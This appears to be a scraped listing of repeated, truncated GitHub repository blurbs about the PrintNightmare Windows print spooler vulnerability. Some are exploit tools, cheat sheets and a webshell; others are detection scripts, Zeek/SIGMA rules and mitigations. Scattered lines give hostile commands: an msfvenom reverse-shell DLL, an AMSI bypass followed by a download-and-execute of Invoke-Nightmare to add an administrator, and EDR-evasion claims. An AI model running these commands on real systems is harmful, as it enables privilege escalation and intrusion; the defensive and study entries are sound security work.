CVE-2021-1675

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

TryHackMe room atlas

Atlas v14 Enumeration NMAP Scan Check for running services and open ports I realized after I ran the following command that I didn't need the -A I changed my mind half way through typing it and didn't remove the -A nmap -p- -Pn -sC -sV -A -vv -oN nmapscan IPaddr Ports 3389 Windows RDP 8080 ThinVNC Exploits Looking for vuln

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects ar

2021 iThome 鐵人賽

2021 iThome 鐵人賽 系列文章連結 主題: 現實主義勇者的 Windows 攻防記 目錄 【Day 01】Zeze 的野望 - 開賽前言 【Day 02】Word 很大，你要看一下 - Microsoft Office Phishing 【Day 03】又是 Print Spooler 搞的鬼 - CVE-2021-1675 PrintNightmare 【Day 04】CVE 哪有那麼萌 - 找漏洞經驗分 【Day 05】你逆 - 逆向工程工具介�

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

INTRODUCTION TO ACTIVE DIRECTORY xfreerdp /v:10129202146 /u:htb-student_adm /p:Academy_student_DA! Para este modulo se van a hacer tareas que haria alguien que administra un active directory primero xfreerdp /v:10129202146 /u:htb-student_adm /p:Academy_student_DA! Estructura La estructura basica de active directory es FOREST (que

JustRepository Testing project Getting Started These are repository for tools and code I modify and compile for fun (?) Note that "use this for educational purposes only" Webshellphp simple webshell that protected with parameter Upload shell rename it with "pagebackupphp" Call it with your own parameter: examplecom/uploads/pagebackupphp?dxnboy=4

A curated list of awesome C-Sharp frameworks, libraries and software.

awesome-c-sharp A curated list of awesome C-Sharp frameworks, libraries and software shadowsocks/shadowsocks-windows - A C# port of shadowsocks Ryujinx/Ryujinx - Experimental Nintendo Switch Emulator written in C# dotnet-architecture/eShopOnContainers - Cross-platform NET sample microservices and container based application that runs on Linux Windows and macOS Powered by N

Script to install tooling on a fresh Kali image/snapshot.

kali-prep Script to install tooling on a fresh Kali image/snapshot Prerequisites Needs Kali image with ZSH Has to be run as root Installation Fresh installation IMPORTANT: Don't skip any of the installation steps They are mandatory! Clone repo: cd /opt git clone githubcom/cyberfreaq/kali-prepgit chmod +x /opt/kali-prep/kali-prepzsh

PowerShell script to check if system is vulnerable to the PrintNightmare vulnerability, along with some manual checks.

PrintNightmareCheck This repository contains some manul checks to see if the system is vulnerable to the PrintNightmare vulnerability (CVE-2021-1675, CVE-2021-34527) and also a PowerShell script to automate the process Please note that this is the first PowerShell script I have ever written myself so do not rely on it! Manual checks Check if Print Spooler service is running #

CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSIONS

CVE-2021-1675 CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSIONS Let me provide a onf the method I found in order to mitigate that waitting for MS release a official patches Run as Administrator in Windows Powershell Note: Serverstxt > Include all servers from you domain exclude a servers has a pr

PrintNightmare Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket Installtion $ pip3 install impacket Usage Impacket v0923 - Copyright 2021 SecureAuth Corporation usage: printnightmarepy [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-

Zero-day-scanning is a Domain Controller vulnerability scanner, that currently includes checks for Zero-day-scanning (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing.

zeroscan Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing CVE-2020-1472: Uses a built-in script to check for Zerologon (CVE-2020-1472), but does NOT attempt to exploit the target, it is simply a vulnerability scanner Codebase borrowed from: githubcom/Anonymous-Family

〖EXP〗Ladon CVE-2021-40444 Office漏洞复现 漏洞概述 北京时间9月8日，绿盟科技CERT监测到微软发布安全通告披露了Microsoft MSHTML 远程代码执行漏洞，攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权�

Redsheet Red Teaming & Active Directory Cheat Sheet ## PowerShell 32-bit PowerShell C:\Windows\SysWOW64\WindowsPowerShell\v10\powershellexe 64-bit PowerShell C:\Windows\System32\WindowsPowerShell\v10\powershellexe Avoid truncation <do_something> | Out-String -Width 10000 Check NET version [environment]::version Then check the build on: h

CobaltStrike资源大全

《深入理解Cobalt Strike》 这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：0e0w 本项目创建时间为2021年8月3日。最近的一次更新时间为2023年8月4日。 01-Coba

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects are written in C# I decided to make t

PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects are written in C# I decided to make t

Pentesting Tools quick installer

Usage EasiWeaponssh heavily relies on Python virtual environments and uses pipx, poetry and pipenv to orchestra venvs In order to launch the bleeding-edge version of a tool installed with pipx and not the version that is already shipped with Kali, you should modify the PATH variable: Modify PATH for a normal user with any method you want (bashrc / profile / zshrc / etc):

PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service Ten years ago, an escalation of privilege bug in Windows Printer Spooler was used in Stuxnet, which is a notorious worm that destroyed the nuclear enrichment centrifuges of Iran and infected more than 45000 networks In the past ten years, spooler still has an endless stream of vulnerabilities disc

PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service Ten years ago, an escalation of privilege bug in Windows Printer Spooler was used in Stuxnet, which is a notorious worm that destroyed the nuclear enrichment centrifuges of Iran and infected more than 45000 networks In the past ten years, spooler still has an endless stream of vulnerabilities disc

to catch cve-2021-1675-printnightmare

Simple policy to detect CVE-2021-1675 Following functionality are provided by the script :: This zeek package Utilizes pcap and work of : githubcom/LaresLLC/CVE-2021-1675git builds upon the fact that Installation zeek-pkg install zeek/initconf/ or @load Detailed Notes: Detail Alerts and descriptions: Following alerts are generated by the script: Heuristics are s

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare)

Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare) How to disable the Print Spooler service ? CMD Shell net start | findstr -i "spooler" net stop spooler REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f PowerShell Get-Service -Name Spooler Stop-Service -Name Spooler -Force Set-Serv

2021-Summer-Some-Day-Exploit 취약점 분석 결과 공유 및 0-Day 취약점을 탐색하는 팀 운영방식 공개된 취약점 분석을 우선으로 하나, 미공개 취약점 분석도 가능 0-Day의 경우, 시간이 매우 오래걸리기 때문에, 관련 준비나 과정도 훌륭한 성과라고 판단하여 취약점 분석으로 인정 격주 1회 온라인

〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现 k8gegeorg/p/CVE-2021-1675html 基本情况 6月9日，微软发布6月安全更新补丁，修复了50个安全漏洞，其中包括一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代

Collection of extra pentest tools for Kali Linux

☢️☣️ NOT PROPERLY MAINTAINED ANYMORE It has become such a pain to properly maintain this repository (every new Kali release very likely breaks some dependencies for at least one of the million listed tools), so a smooth installation process is not guaranteed Now I treat WeaponizeKalish not as an automation script, but as a collection of useful tools (resources) to be

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

CobaltStrike资源大全

《深入理解Cobalt Strike》 这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：0e0w 本项目创建时间为2021年8月3日。最近的一次更新时间为2023年8月4日。 01-Coba

Practical Network Penetration Tester Certification (PNPT) Originally for the OSCP Now for the PNPT certification test for a lot of reasons including cost, ability to retest for free, and lack of software restrictions certificationstcm-seccom/pnpt/ ABOUT THE PNPT EXAM The PNPT certification exam is a one-of-a-kind ethical hacking certification exam that assesses a s

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

PrintNightmare Local Privilege Escalation

PrintNightmare Local Privilege Escalation PoC src/nightmarecpp: source code to exploit CVE-2021-1675 and gain system access by installing a malicious dll src/payload-dllcpp: source code for dll with malicious shellcode in entry function !!Only use against servers on which you have permission to test Summary CVE-2021-1675 is a vulnerability in the Print Spooler Service of Micr

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects ar

《深入理解Cobalt Strike》 这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：0e0w 本项目创建时间为2021年8月3日。最近的一次更新时间为2022年7月18日。 01-Coba

《深入理解Cobalt Strike》 这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：0e0w 本项目创建时间为2021年8月3日。最近的一次更新时间为2022年7月18日。 01-Coba

Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing.

zeroscan Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing CVE-2020-1472: Uses a built-in script to check for Zerologon (CVE-2020-1472), but does NOT attempt to exploit the target, it is simply a vulnerability scanner Codebase borrowed from: githubcom/SecuraBV/CVE-202

CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python, C# and PowerShell Exploits Implementations (LPE & RCE)

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

Basic Tools Command Description General sudo openvpn userovpn Connect to VPN ifconfig/ip a Show our IP address netstat -rn Show networks accessible via the VPN ssh user@10101010 SSH to a remote server ftp 1012942253 FTP to a remote server tmux tmux Start tmux ctrl+b tmux: default prefix prefix c tmux: new window prefix 1 tmux: switch to windo

Static standalone binaries for Linux and Windows (x64) of Python offensive tools. Compiled using PyInstaller, Docker for Windows, WSL2, and Make.

OffensivePythonPipeline This repository contains the following static standalone binaries of Python offensive tools: Tool Operating System(s) Binary output(s) Certipy Linux / Windows x64 certipy_linux certipy_windowsexe CrackMapExec Linux / Windows x64 crackmapexec_linux crackmapexec_windowsexe dirkjanm's CVE-2020-1472 (ZeroLogon) Linux / Windows x64 cve-202

Set of SIGMA rules (>320) mapped to MITRE Att@k tactic and techniques

SIGMA detection rules Project purpose: SIGMA detection rules provides a free set of >320 advanced correlation rules to be used for suspicious hunting activities How to use the rules: The SIGMA rules can be used in different ways together with your SIEM: Using the native SIGMA converter: githubcom/SigmaHQ/sigma Using SOC Prime online SIGMA converter: un

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects a

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects ar

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

OKU 2105 Capstone Research on PrintNightmare

Welcome to our PrintNightmare exploit Capstone writeup This is our final project for the OKU 2105 Fullstack Academy Cybersecurity course We hope we will educate you on this exploit and how to mitigate it This project centers on CVE-2021-1675 + CVE-2021-34527, also known as the zero-day exploit "PrintNightmare" There have been subsequent exploits related to this,

Youtube : https://youtu.be/Zr0KjYDSFKQ

PrintNightmare-CVE-2021-1675 Youtube : youtube/Zr0KjYDSFKQ

SIGMA detection rules Project purpose: SIGMA detection rules provides a free set of >320 advanced correlation rules to be used for suspicious hunting activities How to use the rules: The SIGMA rules can be used in different ways together with your SIEM: Using the native SIGMA converter: githubcom/SigmaHQ/sigma Using SOC Prime online SIGMA converter: un

A Walkthrough of the PrintNightmare vulnerability

printnightmare-try-hack-me A Walkthrough of the PrintNightmare vulnerability utilizing the tryhackme environment INTRODUCTION to CVE-2021-1675 / CVE-2021-34527 This is a post compromise attack that takes advantage of the printer spooler This basic spooler function runs as system privilege Because it runs as system privilege, this means that any authenticated attacker can run

CVE-2021-1675 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucci pip3 uninstall

A cheatsheet of tools and commands that I use to pentest Active Directory.

Pentesting Active Directory This is a cheatsheet of tools and commands that I use to pentest Active Directory It includes Windows, Impacket and PowerView commands, how to use Bloodhound and popular exploits such as Zerologon and NO-PAC Enumeration Initial system enumeration See local accounts net user See all of the accounts in the domain net user /domain Check if an acc

microsoft-vulnerabilidades Vulnerabilidade de execução remota de código do Spooler de Impressão do Windows CVE-2021-34527 fonte: msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Vulnerabilidade de Segurança Lançado: 01/07/2021 Last updated: 15 de jul de 2021 Assigning CNA: Microsoft MITRE CVE-2021-34527 CVSS:30 88

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

PrintNightmare Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket Installtion $ pip3 install impacket Usage Impacket v0923 - Copyright 2021 SecureAuth Corporation usage: printnightmarepy [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-

Collection of C# projects. Useful for pentesting and redteaming.

RedCsharp Offensive C# tools CasperStager PoC for persisting NET payloads in Windows Notification Facility (WNF) state names using low-level Windows Kernel API calls CSExec An implementation of PSExec in C# CSharpCreateThreadExample C# code to run PIC using CreateThread CSharpScripts Collection of C# scripts CSharpSetThreadContext C# Shellcode Runner to execute

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Hack The Box writeups by Şefik Efe.

Hack The Box Writeups by Şefik Efe Would you like to give me stars in Hack The Box? Thanks in advance :) I'll be posting retired boxes' and some challenges' writeups You can search keywords and/or topics between writeups using top left corner search bar Index Table My favourite writeup so far: Breadcrumbs     &a

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

I will create the PoCs for well known vulnerabilities discovered recently in popular Products./Vendors

The bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed “PrintNightmare” by researchers It was originally addressed in June’s Patch Tuesday updates from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for

All CVE Exploits used by connor including code.

Exploits All CVE Exploits used by connor including code Current Exploits (Format: CVE | Codename | PrivEsc/RCE/Other) 2017: CVE-2017-0144 | EternalBlue | RCE 2021: CVE-2021-1675 | Print Nightmare | PrivEsc 2022: CVE-2022-22817 | None | Arbitary Code Execution CVE-2022-32221 | None | Buffer Overflow

CVE-2021-1675 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucci pip3 uninstall

CVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim Usage Generate DLL payload with msfvenom -p windows/x64/shell_reverse_tcp LHOST=1921688237 LPORT=4444 -f dll > msfvenomdll, then start the handler on your attacker On the victim run \nimnightmareexe <ABSOLUTE_PATH_TO_DLL> and get a shell as SYSTEM

cve-2021-1675 #disble amsi: (copy into powershell) rawgithubusercontentcom/jj4152/cve-2021-1675/main/disable-amsitxt #execute invoke-script iex (New-Object NetWebClient)DownloadString('rawgithubusercontentcom/jj4152/cve-2021-1675/main/Invoke-Nightmareps1') #create admin account Invoke-Nightmare -DriverName "Xerox" -NewUser "admin

PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects are written in C# I decided to make t

PrintNightmareScanner Scanner to detect Windows Print Spooler Remote Code Execution Vulnerability (CVE-2021-1675) Prerequisite's python3 python3 -m pip install -r Requirementstxt Usage python3 detectprintnightmarepy --help usage: detectprintnightmarepy [-h] [-t TARGET] [-T TARGETS] [-c CIDR] optional arguments: -h, --help show this help message and exit

PrintNightmare exploit CVE-2021-1675 / CVE-2021-34527 exploit Reflective Dll implementation of the PrintNightmare PoC by Cornelis de Plaa (@Cneelis) The exploit was originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) It can be used as Remote Code Execution (RCE) exploit (screenshot 1), It can be used for Privilege Escalation (screenshot 2)

Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

Videos and Commands from GOAD lab

AD from 0 to Hero Reconocimiento de Red Escaneo de red: Nmap | Netdiscover | ICMP-SCAN Recopilación de información web: EyeWitness Localizar ip de DC: NSLookup Enumerar ldap: Nmap Sin credenciales Accesos sin credenciales (Null Sesion y anonimo) y carpetas compartidas: Enum4linux-ng | Crackmapexec Obtener solo usuarios: Enum4linux-ng | net rpc | Crackmapexec

Cheatsheet from the PJPT course of TCM security.

PJPT-Notes Cheatsheet from the PJPT course of TCM security Enumeration sudo arp-scan -l netdiscover -r 19216850/24 nmap -T4 -p- -A 19216850/24 nmap -T4 -p- -A 19216851 nmap -T4 -p- -sS -sC 19216850/24 Initial attacks for Active Directory LLMNR Poiso

PrintNightmare , Local Privilege Escalation of CVE-2021-1675 or CVE-2021-34527

CVE-2021-1675-LPE-EXP Simple LPE Exploit of CVE-2021-1675 Usage CVE-2021-1675-LPEexe C:\test\MyPigDLLdll MyPigDLLdll,is a test DLL which will create C:\testtxt if succeed Notice Add EnumPrinterDriversW for get pDriverPath, so We dont need change the "hardcode Driver path" everytime Dont need to work with RPC or SMB and this

PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。

CVE-2021-1675_RDL_LPE PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。 免责声明: 本项目只用于学习交流，请在合理授权范围内谨慎使用。 快速使用 下载本项目: Cobalt Strike 加载插件 用法说明: > print_night_mare_lpe dllpath > e

Docker-PrinterNightmare A docker image for the PoC python impacket implementation of CVE-2021-1675 by cube0x0 The python PoC is not mine and is located at githubcom/cube0x0/CVE-2021-1675 Why is this useful? If you already have an existing impacket install and don't want to remove it, you can use this so that the PoC works It runs the authors custom version of im

PrintNightmare (CVE-2021-1675) This Zeek script detects successful RpcAddPrinterDriver{,Ex} DCE RPC events, which are required to successfully exploit the vulnerability Tests are based on exploit PCAP from Lares Lab Tested with Zeek versions 302 and 401 Notices Printer_Driver_Changed_Successfully indicates the printer driver was changed successfully Suricata We have a

Study Notes for the OSCP Content You will find notes from various resources like OSCP from Nakerah Network, Practical Ethical Hacking(PEH) course from TCM security, and more

Hunter OSCP Study-Notes Recon passive recon to find emails: hunterio/ phonebookcz/ clearbitcom/ to verify emails : toolsemailhippocom/ search for breached credentials in dehashed, google , have I been pawned Web App Information Gathering to find subdomains using sublis3r tool: sublist3r -d <domaincom> -t 100

Local Privilege Escalation Edition for CVE-2021-1675/CVE-2021-34527

Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-34527 Local Privilege Escalation implementation of the CVE-2021-1675/CVE-2021-34527 (aka PrintNightmare) The exploit is edited from published by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Open the project on MSVC and compile with x64 Release mode Exploit automatically finds UNIDRVDLL, no ch

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Some of the tools needed for a red team engagement.

ITSec-toolkit Some of the tools needed for a red team engagement What is this mess? This is a list of precompiled tools needed for penetration testing This is mean to make it easy to pull the whole thing to a VM and start hacking away Other very useful repos githubcom/Kevin-Robertson/Inveigh githubcom/ParrotSec/mimikatz githubcom/PowerShellMafia/

CVE-2021-1675 Detection Info

From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 🚨 Patch released: msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 The patch has been confirmed to fix RCE however local priviledge escalation appears to not be patched as of yet Therefore the workarounds listed below are still recommended This repo c

see https://github.com/cube0x0/CVE-2021-1675

Print Nightmare 分析报告 Table of Contents 漏洞基本信息 CVE-2021-1675 调用流程 Windows 打印后台处理程序体系架构 函数版本选择 API 函数发送 RPC 请求到 spooler 服务器上 MSRPC 机制 spoolsvexe 处理 API 请求 本地打印提供程序的函数实现逻辑 漏洞的利用方法 利用程序的使用方法 利用程序的运行结果

printnightmare This is a group of Powershell scripts I used to block the printnightmare vulnerability spooler-stop-disable-printnightmareps1 The first script stops and disables the print spooler service This should be run on member servers Can be used remotely by running the following PS command: PS> Invoke-Command -FilePath \spooler-stop-disable-printnightmareps1

C# PrintNightmare (CVE-2021-1675)

C# PrintNightmare (CVE-2021-1675) You'll need a DLL to use SharpPN So once you have that, just build and specify the dll path in the command-line arguments Build You can build yourself with C:\Windows\MicrosoftNET\Framework64\v35\cscexe -out:SharpPNexe C:\Path\to\Programcs or by opening the sln file with Visual Studio and building there Usage \SharpPNexe -DLL C:

JustGetDA, a cheat sheet which will aid you through internal network & red team engagements.

JustGetDA JustGetDA, a cheat sheet which will aid you through internal network & red team engagements AD Mindmap (Click on the image for a larger image) Credit: mayfly (@M4yFly) & viking (@Vikingfr) Privilege Escalations The below privilege escalations are inspired from: githubcom/cfalta/MicrosoftWontFixList Local Privilege Escalation: InstallerFi

OKU 2105 Capstone Research on PrintNightmare

Welcome to our PrintNightmare exploit Capstone writeup This is our final project for the OKU 2105 Fullstack Academy Cybersecurity course We hope we will educate you on this exploit and how to mitigate it This project centers on CVE-2021-1675 + CVE-2021-34527, also known as the zero-day exploit "PrintNightmare" There have been subsequent exploits related to this,

The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler. * This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group. * This script embeds methods from PowerSploit/…

CVE-2021-34527 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 UPDATE June 2 2021: Microsoft has released an advisory on CVE-2021-34527, correctly terming that specific identifier as the PrintNightmare vulnerability exploit Previously, the community was assuming CVE-2021-1675 "was PrintNightmare" as the June 8 path did not resolve th

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) Summary This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service An attacker could then use that access to create new accounts, attempt to install programs

PrintNightmare-Windows Print Spooler RCE/LPE Vulnerability(CVE-2021-34527, CVE-2021-1675) ABOUT THE WINDOWS PRINT SPOOLER A printer spooler is an application which manages the paper printing jobs sent from a computer to a printer and also this service allows the system to act as print clients or print servers It’s a definite to have a print spooler service on the compute

Static standalone binaries for Linux and Windows (x64) of Python offensive tools. Compiled using PyInstaller, Docker for Windows, WSL2, and Make.

OffensivePythonPipeline This repository contains the following static standalone binaries of Python offensive tools: Tool Operating System(s) Binary output(s) Certipy Linux / Windows x64 certipy_linux certipy_windowsexe CrackMapExec Linux / Windows x64 crackmapexec_linux crackmapexec_windowsexe dirkjanm's CVE-2020-1472 (ZeroLogon) Linux / Windows x64 cve-202

📌PENTEST DICTIONARY📌 A list of great resources for pentesting and similars The resources marked with the symbol [+] are installed in Kali and Parrot OS by default LISTS OF TOOLS I will keep updated the project with new tools or changes ⭕ FUZZING: wfuzz --> githubcom/xmendez/wfuzz [+] gobuster --> githubcom/OJ/gobuster [+] dirbuster

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits

